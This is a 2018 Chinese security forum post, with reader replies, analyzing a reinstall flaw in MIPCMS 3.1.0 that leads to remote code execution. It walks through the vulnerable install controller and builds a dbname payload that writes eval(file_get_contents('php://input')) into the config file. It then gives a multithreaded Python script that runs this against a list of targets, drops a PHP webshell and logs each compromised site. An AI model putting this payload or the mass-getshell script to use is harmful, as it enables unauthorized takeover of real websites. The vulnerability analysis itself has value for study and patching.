用户
搜索
  • TA的每日心情
    慵懒
    2019-3-11 13:58
  • 签到天数: 141 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋作家

    i春秋十五军装逼团团长

    Rank: 7Rank: 7Rank: 7

    35

    主题

    116

    帖子

    1735

    魔法币
    收听
    0
    粉丝
    26
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2018-3-26 01:06:37 1618170

    0x01 前言

    今天翻了下CNVD,看到了一个MIPCMS的远程代码执行漏洞,然后就去官网下载了这个版本的源码研究了下。
    看下整体的结构,用的是thinkPHP的架构,看到了install这个文件没有可以绕过install.lock进行重装,但是里面有一个一定要验证数据库,又要找一个SQL的注入漏洞。
    想起前几天大表哥Bypass发了一篇好像是关于mipcms的漏洞,赶紧去翻了一下,又学到不少技巧,这个技巧可以用在我上次发的一篇ZZCMS 8.2任意文件删除至Getshell的文章,里面有有个getshell的操作,但是也是要数据库的验证,用上这个技巧也不需要SQL注入也可以getshell了。

    关于排版问题,我也想了许多,我写的是markdown的格式,但是论坛对于这种格式效果还算挺兼容的,就是看起来有一些不美观,我就换了种方式进行写,之前我都是放代码然后在上面写解析,这样看起来有点密密麻麻,所以我就直接放代码然后在代码里面写注释,有重要的点就写在外面,这样一来看起来整个文章就很整洁了。

    0x02 环境

    程序源码下载:http://www.mipcms.cn/mipcms-3.1.0.zip
    Web环境:Deepin Linux+Apache2+PHP5.6+MySQL(192.168.1.101)
    远程数据库服务器:Windows 10 x64(192.168.1.102)

    0x03 漏洞利用过程

    1. 我们先正常安装程序

    2. 在远程数据库服务器上面开启远程访问,然后在上面建立一个名为test',1=>eval(file_get_contents('php://input')),'2'=>'数据库。

    3. 浏览器访问:http://www.getpass.test//index.php?s=/install/Install/installPost
      POST:
      username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root

      记得里面的数据库对应上你远程数据库服务器的信息!

    可以看到一句把eval函数写到了配置文件里面了

    1. 执行代码,具体原理我会在后面构造poc的再详细讲解
      浏览器访问:http://www.getpass.test/system/config/database.php
      POST:phpinfo();

    0x04 框架知识补充

    还有人可能不怎么了解这个thinkPHP的框架,我在这里简单讲解下,最好还是去官方解读下https://www.kancloud.cn/manual/thinkphp5/118003

    首先我们现在thinkPHP的配置文件/system/config/config.php里面修改下面这两个为true

    然后去打开网站(这个适合刚刚搭建还没开始安装),它会自动跳转到安装的页面。做了刚才的设置后会在右下角出现一个小绿帽,点击就可以看到文件的加载流程。

    这里有很多文件会预加载,我们主要看它的路由文件Route.php

    我们可以看到,这里检查了install.lock文件存不存在,如果不存在就会跳转到安装的界面进行安装。

    0x05 漏洞代码分析过程

    /app/install/controller/Install.php问题出现在这个文件,它里面的就在index这里检查的install.lock的存在,但是在installPost这个方法里面却没有检查,也没有做关联,在install.html里面直接就跳过了,从而导致了程序重装。

    下面直接按照顺序读下面的代码就行了,我都注释好了。就有两个点:

    1. 一个是遍历数据库内容那里,我输出了$matches截图这个内容给你们好理解。
    2. 再一个是配置文件的替换,读到$conf = str_replace("#{$key}#", $value, $conf);这句的时候我顺便截图了一个配置的内容。
    public function installPost(Request $request) {
                    header('Access-Control-Allow-Origin: *');
                    header('Access-Control-Allow-Credentials: true');
                    header('Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS');
                    header('Access-Control-Allow-Headers: Content-Type, Content-Range,access-token, secret-key,access-key,uid,sid,terminal,X-File-Name,Content-Disposition, Content-Description');
                if (Request::instance()->isPost()) {//判断是否有post的数据
                    $dbconfig['type']="mysql";//定义数据库类型
                    $dbconfig['hostname']=input('post.dbhost');//接受post过来的dbhost的值,然后赋值到$dbconfig的数组里面,下面以此类推
                    $dbconfig['username']=input('post.dbuser');
                    $dbconfig['password']=input('post.dbpw');
                    $dbconfig['hostport']=input('post.dbport');
                    $dbname=strtolower(input('post.dbname'));//这里用了转换小写的函数,所以后面构造poc的时候就不能直接写入一句话木马$_POST了
    
                    $username = input('post.username');
                    $password = input('post.password');
                    $rpassword = input('post.rpassword');
                    if (!$username) {//判断上面是否有post这个值过来,没有就执行下面的报错,后面的以此类推
                        return jsonError('请输入用户名');
                    }
                    if (!$password) {
                        return jsonError('请输入密码');
                    }
                    if (!$rpassword) {
                        return jsonError('请输入重复密码');
                    }
                    //下面这句是构造PDO的连接方式,如果有不懂的同学可以去了解下,因为这种方式比老的sql执行方式安全
                    $dsn = "mysql:dbname={$dbname};host={$dbconfig['hostname']};port={$dbconfig['hostport']};charset=utf8";
                    try {//如果有学过Python的同学可以晓得try的方式可以自定义报错信息,可以避免泄露其他的敏感数据库信息
                        $db = new \PDO($dsn, $dbconfig['username'], $dbconfig['password']);
                    } catch (\PDOException $e) {
                        return jsonError('错误代码:'.$e->getMessage());
                    }
                    $dbconfig['database'] = $dbname;//把上面post过来的数据库名赋值到数组
                    $dbconfig['prefix']=trim(input('dbprefix'));//接受post过来的数据前缀,然后用trim去掉两边的空白字符
                    $tablepre = input("dbprefix");//表名前缀
                    $sql = file_get_contents(PUBLIC_PATH.'package'.DS.'mipcms_v_3_1_0.sql');//读取数据库文件mipcms_v_3_1_0.sql的内容
                    $sql = str_replace("\r", "\n", $sql);//把刚读到的内容进行替换操作,"\r"是换行符,"\n"是回车符
                    $sql = explode(";\n", $sql);//用explode函数以\n区别然后转换为数组形式
                    $default_tablepre = "mip_";//定义默认的表名前缀
                    $sql = str_replace(" `{$default_tablepre}", " `{$tablepre}", $sql);//把上面传来的表名前缀替换掉默认的表名前缀
                    foreach ($sql as $item) {//这里有个遍历数组,就是把刚才的数组遍历然后一句一句执行
                        $item = trim($item);
                        if(empty($item)) continue;
                        //这里有个正则匹配,正则总会把对新手弄得云里雾里,其实也不难,这里的意思就是匹配到创建表的语句先执行,然后再执行下面的,要不然会出现错误.
                        preg_match('/CREATE TABLE `([^ ]*)`/', $item, $matches);
                        if($matches) {//如果匹配到创建数据表的语句就执行,如果匹配到然后下面的执行不成功就会终止提示安装失败
                            if(false !== $db->exec($item)){
    
                            } else {
                               return jsonError('安装失败');
                            }
                        } else {
                            $db->exec($item);
                        }
                    }
    
                    if(is_array($dbconfig)){//判断是否为数组
                        $conf = file_get_contents(PUBLIC_PATH.'package'.DS.'database.php');//读取package文件夹下面的database.php文件
                        foreach ($dbconfig as $key => $value) {
                            $conf = str_replace("#{$key}#", $value, $conf);//把刚才读到的内容里面替换掉指定数组键的值,为什么要有#,可以去看刚才文件就可以看到了
                        }
                        $install = CONF_PATH;//把环境常量的conf路径赋值
                        if(!is_writable($install)){//判断这个目录是否有写入的权限
                            return jsonError('路径:'.$install.'没有写入权限');
                        }
                        try {
                            $fileStatus = is_file(CONF_PATH. '/database.php');//判读这个目录下的database.php是否存在
                            if ($fileStatus) {
                                 unlink(CONF_PATH. '/database.php');//如果存在就删除这个文件
                            }
                            file_put_contents(CONF_PATH. '/database.php', $conf);//然后重新再写如我们刚才替换的新的数据库文件
                            return jsonSuccess('配置文件写入成功',1);
                        } catch (Exception $e) {
                            return jsonError('database.php文件写入失败,请检查system/config 文件夹是否可写入');
                        }
    
                    }
    
            }
    
        }

    0x06 Payload构造

    1. 从上面的代码分析下来,我们可以晓得,必须要传入的值有
      username password rpassword dbport dbname dbhost dbuser dbpw
      用户名密码这些可以随便写,但是数据库这个在你不晓得数据库信息的时候是无法进行下去的,因为通过上面的代码分析,如果数据库连接不成功就会退出。
      看Bypass大表哥的方法,我一想,特么gb,我咋没想到这种方法呢,wocao。dbhost不是可以填服务器地址么,我们在一个服务器上面搭建一个然后进行连接不就行了么,哈哈哈。
    2. 数据库的问题解决了,我们要怎么样写到数据库文件里面呢。写到里面的就有这几个值,数据库的服务器地址和用户名密码是不能动的了,因为Mysql用户默认是16位,可以修改位数,但是数据库会把,自动转换为.,数据库密码是加密的,还有prefix这个参数修改了会造成创建表的出现错误导致程序不能正常执行。

    那么我们构造的写进去的信息就不能破坏里面的结构,我们就只能用dbname了。

    1. 还有一个问题,如果我们直接构造一句话木马也不行,因为上面$dbname=strtolower(input('post.dbname'))这里用了转换小写,所以一句话的$_POST$_GET就不能用了,不能用这个我们还可以用PHP的协议php://input来接受值然后用eval和assert来执行。
      我在这里就不再讲解这个协议了,论坛有一篇文章是专门讲这个的,还挺详细的:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=27441

    2. 从上面代码分析,我们可以看出,替换值后面会加上',,所以我们要对应上去
      test',1=>eval(file_get_contents('php://input')),'2'=>'
      最终的Payload:
      username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root

    0x07 用Python编写批量getshell脚本

    我把配置都写在里面了,需要修改数据库信息直接在代码里面改了,如果加在参数会比较麻烦。

    #!/usr/bin/env
    #author:F0rmat
    import sys
    import requests
    import threading
    def exploit(target):
        dbhost='192.168.1.102'
        dbuser = 'root'
        dbpw = 'root'
        dbport=3306
        dbname="test',1=>eval(file_get_contents('php://input')),'2'=>'"
        if sys.argv[1]== "-f":
            target=target[0]
        url1=target+"/index.php?s=/install/Install/installPost"
        data={
            "username": "admin",
            "password":  "admin",
            "rpassword": "admin",
            "dbport": dbport,
            "dbname": dbname,
            "dbhost": dbhost,
            "dbuser": dbuser,
            "dbpw": dbpw,
        }
        payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
        url2=target+"/system/config/database.php"
        shell = target+'/system/config/shell.php'
        try:
            requests.post(url1,data=data).content
            requests.post(url2, data=payload)
            verify = requests.get(shell, timeout=3)
            if "f0rmat" in verify.content:
                print 'Write success,shell url:',shell,'pass:f0rmat'
                with open("success.txt","a+") as f:
                    f.write(shell+'  pass:f0rmat'+"\n")
            else:
                print target,'Write failure!'
        except Exception, e:
            print e
    def main():
        if len(sys.argv)<3:
            print 'python mipcms_3.1.0.py -h target/-f target-file '
        else:
            if sys.argv[1] == "-h":
                exploit(sys.argv[2])
            elif sys.argv[1] == "-f":
                with open(sys.argv[2], "r") as f:
                    b = f.readlines()
                    for i in xrange(len(b)):
                        if not b[i] == "\n":
                            threading.Thread(target=exploit, args=(b[i].split(),)).start()
    
    if __name__ == '__main__':
        main()

    0x08 结束

    终于写完了,肚子好饿啊!

    我去敷面膜了,然后洗洗睡了~

    最后在这里说如果大家觉得好就点个赞,不好有问题就在下面回复我,我比较喜欢你们发现我的问题,因为这样我才能进步哈,一样不设回复可见。

    0x09 参考

    https://github.com/F0r3at/Python-Tools/tree/master/Mipcms
    http://www.cnvd.org.cn/flaw/show/CNVD-2018-02516
    http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=301419963&idx=1&sn=0cb82aa5629b6432415c93d9f2b8eb8c&chksm=0b55dde63c2254f04399a7afa7f49a3889e8eaa37d747ec1a1b70f00cc0bf94c764db1295a11&mpshare=1&scene=23&srcid=0321pbJgBla01aN1U5GZXNlG#rd

    本帖被以下淘专辑推荐:

    getpass.cn
    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    推荐
    发表于 2018-3-30 09:38:50
    xiaozi0906 发表于 2018-3-30 01:14
    CNVD也是我两个月前提交的,感谢备注来源。

    不客气,我觉得借鉴了别人的资料和文章就应该尊重原著,不像有些博客的人转载了也不注明,还标明原创,国外的氛围就比较好,只要用到一点别人的资料都会注明来源出处,值得借鉴。
    getpass.cn
    使用道具 举报 回复
    遇到一个类似的cms,但是将DBname改成带有单引符号时,运行sql文件的时候会出错啊,导致不会进入后面写入配置文件的流程,是怎么回事啊。  按道理应该都一样啊,想下个mipcms3.1看看的,结果官网把老版本的删除了。。。。
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    推荐
    发表于 2019-1-6 11:37:20
    京亟 发表于 2019-1-3 15:38
    遇到一个类似的cms,但是将DBname改成带有单引符号时,运行sql文件的时候会出错啊,导致不会进入后面写入配 ...

    https://github.com/sansanyun/mip ... troller/Install.php


    可以看下官方的记录
    getpass.cn
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    推荐
    发表于 2018-5-24 10:04:52
    四大爷 发表于 2018-5-24 01:46
    这个要开启远程链接mysql才能利用成功吗

    需要自己有一个服务器,然后开启外网连接就行了。
    getpass.cn
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    推荐
    发表于 2018-4-11 12:17:48
    Trojians 发表于 2018-4-11 02:34
    做一个看精致大佬的粉丝

    谢谢哈
    getpass.cn
    使用道具 举报 回复
    这个要开启远程链接mysql才能利用成功吗
    使用道具 举报 回复
    CNVD也是我两个月前提交的,感谢备注来源。
    一个网络安全爱好者,对技术有着偏执狂一样的追求。
    使用道具 举报 回复
    做一个看精致大佬的粉丝
    使用道具 举报 回复
    使用道具 举报 回复
    前排支持
    使用道具 举报 回复
    下次去试试
    使用道具 举报 回复
    发表于 2018-3-26 21:00:20
    棒棒哒
    evilwing.me——余生,请多指教。
    使用道具 举报 回复
    发表于 2018-3-27 13:00:36
    支持一下 写的很详细
    使用道具 举报 回复
    发表于 2018-3-28 17:02:11
    感谢分享,很详细
    使用道具 举报 回复
    这不是批量,也算不错,
    使用道具 举报 回复
    发表于 2018-10-6 16:16:55
    学习一下~
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册